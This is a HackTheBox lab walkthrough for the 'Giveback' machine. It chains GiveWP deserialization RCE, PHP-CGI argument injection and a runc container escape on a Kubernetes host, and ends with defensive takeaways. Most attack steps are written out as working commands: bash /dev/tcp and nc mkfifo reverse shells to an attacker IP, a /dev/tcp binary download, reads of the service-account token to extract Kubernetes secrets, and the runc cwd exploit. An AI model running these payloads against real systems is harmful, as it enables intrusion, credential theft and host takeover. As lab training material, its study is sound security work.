HackTheBox giveback Walkthrough
HackTheBox — Giveback
Difficulty: Medium | OS: Linux | Platform: HackTheBox
Author: babywyrm | Writeup By: k1ph4ru | Date: January 5, 2026
Synopsis
Giveback is a medium-difficulty Linux machine that chains together multiple real-world CVEs across a containerized Kubernetes environment. The attack path flows from an unauthenticated WordPress plugin exploit, through internal service discovery and lateral movement via a PHP-CGI injection bug, into Kubernetes secret enumeration for host SSH access, and finally a container escape to achieve full root on the underlying host.
CVEs Exploited: | CVE | Component | Impact | |—–|———–|——–| | CVE-2024-5932 | GiveWP Plugin ≤ 3.14.1 | Unauthenticated RCE via PHP Object Injection | | CVE-2024-4577 | PHP-CGI 8.x | Argument Injection → RCE as root | | CVE-2024-21626 | runc ≤ 1.1.11 | Container escape via fd leak |
Skills Required / Learned
- WordPress plugin exploitation (insecure deserialization)
- PHP-CGI argument injection exploitation
- Internal service discovery from environment variables
- Chisel-based network pivoting / port forwarding
- Kubernetes API enumeration and secret extraction
- runc container escape exploitation
Reconnaissance
Nmap Port Scan
1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.94 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$// )
nmap -sCV -p$ports 10.10.11.94
Results:
| Port | State | Service | Version |
|---|---|---|---|
| 22/tcp | open | SSH | OpenSSH 8.9p1 Ubuntu |
| 80/tcp | open | HTTP | nginx 1.28.0 |
| 30686/tcp | open | HTTP | Golang net/http server |
Note: Ports 6443 and 10250 show as filtered — these are the Kubernetes API server and kubelet. Their presence leaks that we are dealing with a K3s Kubernetes cluster.
The HTTP server on port 80 reveals /wp-admin/ in robots.txt, confirming a WordPress installation. The Golang service on port 30686 responds with JSON describing a wp-nginx-service load balancer health endpoint — useful for later pivot confirmation.
DNS / vHost Discovery
While browsing port 80, links point to giveback.htb. Add it to /etc/hosts:
1
echo "10.10.11.94 giveback.htb" | sudo tee -a /etc/hosts
WordPress Enumeration with WPScan
1
wpscan --url http://giveback.htb --enumerate p --plugins-detection aggressive
Key Findings:
- WordPress version: 6.8.1
- Theme:
bizberg(up to date — ignore) - Plugin: Give v3.14.0 ← vulnerable
1
2
3
# Enumerate users via REST API
curl -s http://giveback.htb/wp-json/wp/v2/users | jq '.[].name'
# → "babywyrm"
Username babywyrm identified. Keep this for later.
Initial Foothold — CVE-2024-5932 (GiveWP RCE)
Vulnerability Overview
CVE-2024-5932 is a PHP Object Injection flaw in the GiveWP donation plugin (versions ≤ 3.14.1). User-controlled input passed through the give_title POST parameter is deserialized without sanitization. A pre-existing POP (Property-Oriented Programming) chain in the codebase allows an unauthenticated attacker to escalate from object injection to arbitrary command execution.
Why it’s critical: No authentication required. A single malicious POST to the donation form triggers RCE. The chain abuses
Give\Vendors\Faker\ValidGeneratorwhose$validatorproperty is called as a function — setting it toshell_execwith attacker-controlled arguments completes the chain.
Exploitation
The donation form is accessible at:
1
http://giveback.htb/donations/the-things-we-need/
Step 1 — Write a reverse shell script to /tmp/code (avoids shell escaping issues):
1
2
3
python3 CVE-2024-5932-rce.py \
-u http://giveback.htb/donations/the-things-we-need/ \
-c "echo '/usr/bin/bash -i >& /dev/tcp/10.10.14.39/4455 0>&1' > /tmp/code"
Step 2 — Start listener:
1
nc -lnvp 4455
Step 3 — Execute the staged script:
1
2
3
python3 CVE-2024-5932-rce.py \
-u http://giveback.htb/donations/the-things-we-need/ \
-c "/usr/bin/bash /tmp/code"
Shell obtained:
1
2
3
4
connect to [10.10.14.39] from (UNKNOWN) [10.10.11.94] xxxxx
bash: no job control in this shell
<hostname>:/opt/bitnami/wordpress/wp-admin$ id
uid=1001 gid=0(root) groups=0(root),1001
Tip: Direct inline reverse shells with
bash -c "bash -i >& /dev/tcp/..."often fail due to quoting collisions in the serialized payload. Writing to a file first then executing it is significantly more reliable.
Container Enumeration
We are inside a Kubernetes pod running the WordPress container. Start basic enumeration:
1
env | grep -i service
Critical Discovery — Internal Service
From environment variables:
1
2
LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
This reveals an internal intranet service at 10.43.2.241:5000 that is unreachable from the outside. We must pivot to it.
Database Credentials (Bonus)
Also visible in env vars:
1
2
3
WORDPRESS_DATABASE_PASSWORD=sW5sp4spa3u7RLyetrekE4oS
WORDPRESS_DATABASE_USER=bn_wordpress
WORDPRESS_DATABASE_NAME=bitnami_wordpress
The WordPress user hash from MySQL ($P$B...) is not crackable with rockyou — ignore and move on.
Network Pivoting with Chisel
Why Chisel?
The pod lacks wget and curl. We use raw /dev/tcp bash trick to download the binary, then use it to create a reverse TCP tunnel — exposing the internal service on our local machine.
Setup
On attacker machine — serve the binary and start the server:
1
2
3
python3 -m http.server 7000
chisel server -p 666 --reverse
On victim pod — download and execute:
1
2
3
4
5
6
7
8
9
10
# Download without wget/curl using bash /dev/tcp
(
exec 3<>/dev/tcp/10.10.14.39/7000
echo -e "GET /chisel HTTP/1.1\r\nHost: 10.10.14.39\r\nConnection: close\r\n\r\n" >&3
cat <&3 | sed '1,/^\r$/d' > /tmp/chisel
chmod +x /tmp/chisel
) &
# Create the tunnel
/tmp/chisel client 10.10.14.39:666 R:222:10.43.2.241:5000
Now http://localhost:222 on the attacker machine reaches the internal service.
Lateral Movement — CVE-2024-4577 (PHP-CGI RCE)
Internal CMS Discovery
Visiting http://localhost:222 reveals a GiveBack LLC Internal CMS page. The footer contains a critical clue:
“This CMS was originally deployed on Windows IIS using
php-cgi.exe. During migration to Linux, the Windows-style CGI handling was retained.”
Internal resources listed:
/cgi-bin/php-cgi← PHP-CGI handler (publicly accessible, no auth)/phpinfo.php?debug← reveals PHP 8.3.3
Vulnerability Overview
CVE-2024-4577 is a PHP-CGI argument injection vulnerability. On Windows, PHP-CGI is vulnerable because certain Unicode characters (like the soft hyphen 0xAD) are normalized to - (hyphen) by Windows’ Best-Fit character mapping, allowing an attacker to inject PHP CLI arguments directly into a CGI request.
Critically, even though this container runs Linux, the CGI configuration was copied from a Windows deployment and the /cgi-bin/php-cgi path remains directly accessible — meaning the argument injection works because the binary is being invoked in CGI mode without PHP FPM’s normal protections.
The injected argument %ADd+auto_prepend_file=php://input causes PHP to:
- Treat the POST body as PHP code to prepend before any script
- Execute it with the privileges of the web server process
Exploitation
Confirm RCE:
1
2
3
4
5
curl -i -X POST "http://localhost:222/cgi-bin/php-cgi?%ADd+auto_prepend_file=php%3A%2F%2Finput" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary "<?php system('id'); ?>"
# Response: uid=0(root) gid=0(root) groups=0(root),...
Get reverse shell (as root in container):
1
2
3
4
5
nc -lnvp 4433
curl -i -X POST "http://localhost:222/cgi-bin/php-cgi?%ADd+auto_prepend_file=php%3A%2F%2Finput" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary "<?php system('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /usr/bin/nc 10.10.14.39 4433 > /tmp/f'); ?>"
Shell obtained as root inside the legacy-intranet container.
Kubernetes Secret Enumeration
Now running as root inside a second container, we check for Kubernetes service account credentials:
1
2
ls /run/secrets/kubernetes.io/serviceaccount/
# ca.crt namespace token
Querying the Kubernetes API
1
2
3
4
5
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
curl -sSk -H "Authorization: Bearer $TOKEN" \
"https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets"
Secrets Found
| Secret Name | Key | Value (Base64) |
|---|---|---|
beta-vino-wp-mariadb | mariadb-password | c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T |
beta-vino-wp-mariadb | mariadb-root-password | c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw== |
user-secret-babywyrm | MASTERPASS | c3hVZ1lLNUc4SlFEcVFvNXRxVkZqbjh4bG1LazMx |
Decode the Password
1
2
echo "c3hVZ1lLNUc4SlFEcVFvNXRxVkZqbjh4bG1LazMx" | base64 -d
# → sxUgYK5G8JQDqQo5tqVFjn8xlmKk31
SSH to Host — User Flag
1
2
3
4
5
ssh babywyrm@10.10.11.94
# Password: sxUgYK5G8JQDqQo5tqVFjn8xlmKk31
babywyrm@giveback:~$ cat user.txt
# User flag here
Privilege Escalation — CVE-2024-21626 (runc Container Escape)
Sudo Enumeration
1
sudo -l
1
2
3
User babywyrm may run the following commands on localhost:
(ALL) NOPASSWD: !ALL
(ALL) /opt/debug
Note:
(ALL) NOPASSWD: !ALLdenies passwordless execution for everything, but the next rule(ALL) /opt/debugoverrides it for that binary specifically — allowingsudo /opt/debugwith babywyrm’s password.
Identifying the Binary
1
2
3
4
5
sudo /opt/debug --help
# → "Restricted runc Debug Wrapper"
sudo /opt/debug --version
# → runc version 1.1.11
runc 1.1.11 is vulnerable to CVE-2024-21626.
CVE-2024-21626 — Vulnerability Overview
This is a container escape vulnerability caused by an internal file descriptor leak in runc. When runc sets up a container, it opens a file descriptor pointing to a directory on the host filesystem (/proc/self/fd/7). Due to a logic bug, this fd is not closed before the container process starts.
By setting the container’s working directory (cwd in config.json) to /proc/self/fd/7, the container process starts with its CWD pointing into the host filesystem. From there, simple ../../ traversal escapes the container entirely.
Exploitation
Step 1 — Prepare a container filesystem locally:
1
2
3
# On attacker machine
docker export $(docker create alpine:latest) > alpine.tar
python3 -m http.server 3000
Step 2 — Download and extract on target:
1
2
3
4
5
6
cd /tmp
wget http://10.10.14.39:3000/alpine.tar
mkdir -p data/rootfs
cd data
cp /tmp/alpine.tar .
tar -xf alpine.tar -C rootfs/
Step 3 — Generate default runc config:
1
2
sudo /opt/debug spec
# Generates config.json in current directory
Step 4 — Copy bundle to writable directory (config.json is owned by root):
1
2
3
mkdir conc
cp -a alpine.tar config.json rootfs conc/
cd conc/
Step 5 — Patch the cwd to trigger the fd leak:
1
perl -i -pe 's/"cwd": "\/",/"cwd": "\/proc\/self\/fd\/7",/' config.json
Step 6 — Run the container:
1
2
3
sudo /opt/debug --log ./log.json run runc_exp
# Enter babywyrm's password
# Enter MariaDB password: sW5sp4spa3u7RLyetrekE4oS (decoded earlier)
Step 7 — Escape and read root flag:
1
2
3
4
5
6
7
# We are now in the container, but CWD points to host filesystem
pwd
# → /proc/self/fd/7 (resolves to a host directory)
# Traverse to root
cat ../../../../../root/root.txt
# Root flag here
Attack Chain Summary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[External Attacker]
│
▼ CVE-2024-5932 (Unauthenticated RCE)
[WordPress Pod — uid=1001]
│
├── Env vars leak internal service: 10.43.2.241:5000
├── Chisel tunnel: localhost:222 → 10.43.2.241:5000
│
▼ CVE-2024-4577 (PHP-CGI Argument Injection)
[Legacy Intranet Pod — uid=0/root]
│
├── /run/secrets/kubernetes.io → service account token
├── K8s API → list secrets → user-secret-babywyrm
├── Decode MASTERPASS → SSH credentials
│
▼ SSH
[Host — babywyrm@giveback]
│
├── sudo /opt/debug → runc version 1.1.11
│
▼ CVE-2024-21626 (runc fd leak container escape)
[Host — root]
│
└── cat /root/root.txt
Key Takeaways
1. Environment Variables Leak Sensitive Data
Kubernetes injects service hostnames and ports as env vars into every pod. Any compromised pod can reveal the internal cluster topology. Sensitive values like DB passwords should use Kubernetes Secrets mounted as files, not env vars.
2. Legacy Configurations Are Dangerous
The PHP-CGI endpoint worked because a Windows-style deployment configuration was blindly ported to Linux. Always audit configurations during platform migrations.
3. Kubernetes Secrets Are Not Secret Enough
By default, Kubernetes mounts a service account token in every pod. If a pod is compromised and its service account has list secrets permission, all secrets in the namespace are readable. Apply least-privilege RBAC rigorously.
4. runc Version Matters
Container runtimes are part of the security boundary. CVE-2024-21626 demonstrates that a single vulnerable runc version can undo all container isolation. Keep runtimes patched and restrict who can run containers or spawn new ones.
5. Chaining Medium Bugs = Critical Impact
No single vulnerability here is catastrophic in isolation. Chained together — WordPress plugin → misconfig → K8s misconfiguration → unpatched runtime — they achieve full host compromise from zero credentials.
Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service detection |
wpscan | WordPress enumeration |
CVE-2024-5932-rce.py | GiveWP PHP object injection exploit |
chisel | TCP tunneling / port forwarding |
curl | CVE-2024-4577 PHP-CGI exploitation |
kubectl API (via curl) | Kubernetes secret enumeration |
docker | Build Alpine rootfs for runc escape |
runc (/opt/debug) | CVE-2024-21626 container escape |